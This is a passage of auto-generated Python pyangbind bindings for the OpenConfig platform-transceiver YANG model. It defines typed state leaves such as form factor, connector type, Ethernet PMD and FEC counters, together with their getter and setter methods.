'@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__connector_type = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="connector-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__vendor = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) self.__vendor_part = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor-part", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) self.__vendor_rev = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..2']}), is_leaf=True, yang_name="vendor-rev", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) self.__ethernet_pmd = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__sonet_sdh_compliance_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="sonet-sdh-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__otn_compliance_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="otn-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__serial_no = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="serial-no", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) self.__date_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^[0-9]{4}\\-[0-9]{2}\\-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}(\\.[0-9]+)?Z[+-][0-9]{2}:[0-9]{2}$'}), is_leaf=True, yang_name="date-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='oc-yang:date-and-time', is_config=False) self.__fault_condition = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="fault-condition", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) self.__fec_status = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) self.__fec_uncorrectable_blocks = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-blocks", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) self.__fec_uncorrectable_words = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-words", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) self.__fec_corrected_bytes = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bytes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) self.__fec_corrected_bits = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bits", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) self.__pre_fec_ber = YANGDynClass(base=pre_fec_ber.pre_fec_ber, is_container='container', yang_name="pre-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) self.__post_fec_ber = YANGDynClass(base=post_fec_ber.post_fec_ber, is_container='container', yang_name="post-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) self.__output_power = YANGDynClass(base=output_power.output_power, is_container='container', yang_name="output-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) self.__input_power = YANGDynClass(base=input_power.input_power, is_container='container', yang_name="input-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) self.__laser_bias_current = YANGDynClass(base=laser_bias_current.laser_bias_current, is_container='container', yang_name="laser-bias-current", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['components', 'component', 'transceiver', 'state'] def _get_enabled(self): """ Getter method for enabled, mapped from YANG variable /components/component/transceiver/state/enabled (boolean) YANG Description: Turns power on / off to the transceiver -- provides a means to power on/off the transceiver (in the case of SFP, SFP+, QSFP,...) or enable high-power mode (in the case of CFP, CFP2, CFP4) and is optionally supported (device can choose to always enable). True = power on / high power, False = powered off """ return self.__enabled def _set_enabled(self, v, load=False): """ Setter method for enabled, mapped from YANG variable /components/component/transceiver/state/enabled (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_enabled is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_enabled() directly. YANG Description: Turns power on / off to the transceiver -- provides a means to power on/off the transceiver (in the case of SFP, SFP+, QSFP,...) or enable high-power mode (in the case of CFP, CFP2, CFP4) and is optionally supported (device can choose to always enable). True = power on / high power, False = powered off """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """enabled must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False)""", }) self.__enabled = t if hasattr(self, '_set'): self._set() def _unset_enabled(self): self.__enabled = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) def _get_form_factor_preconf(self): """ Getter method for form_factor_preconf, mapped from YANG variable /components/component/transceiver/state/form_factor_preconf (identityref) YANG Description: Indicates the type of optical transceiver used on this port. If the client port is built into the device and not pluggable, then non-pluggable is the corresponding state. If a device port supports multiple form factors (e.g. QSFP28 and QSFP+, then the value of the transceiver installed shall be reported. If no transceiver is present, then the value of the highest rate form factor shall be reported (QSFP28, for example). The form factor is included in configuration data to allow pre-configuring a device with the expected type of transceiver ahead of deployment. The corresponding state leaf should reflect the actual transceiver type plugged into the system. """ return self.__form_factor_preconf def _set_form_factor_preconf(self, v, load=False): """ Setter method for form_factor_preconf, mapped from YANG variable /components/component/transceiver/state/form_factor_preconf (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_form_factor_preconf is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_form_factor_preconf() directly. YANG Description: Indicates the type of optical transceiver used on this port. If the client port is built into the device and not pluggable, then non-pluggable is the corresponding state. If a device port supports multiple form factors (e.g. QSFP28 and QSFP+, then the value of the transceiver installed shall be reported. If no transceiver is present, then the value of the highest rate form factor shall be reported (QSFP28, for example). The form factor is included in configuration data to allow pre-configuring a device with the expected type of transceiver ahead of deployment. The corresponding state leaf should reflect the actual transceiver type plugged into the system. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """form_factor_preconf must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) 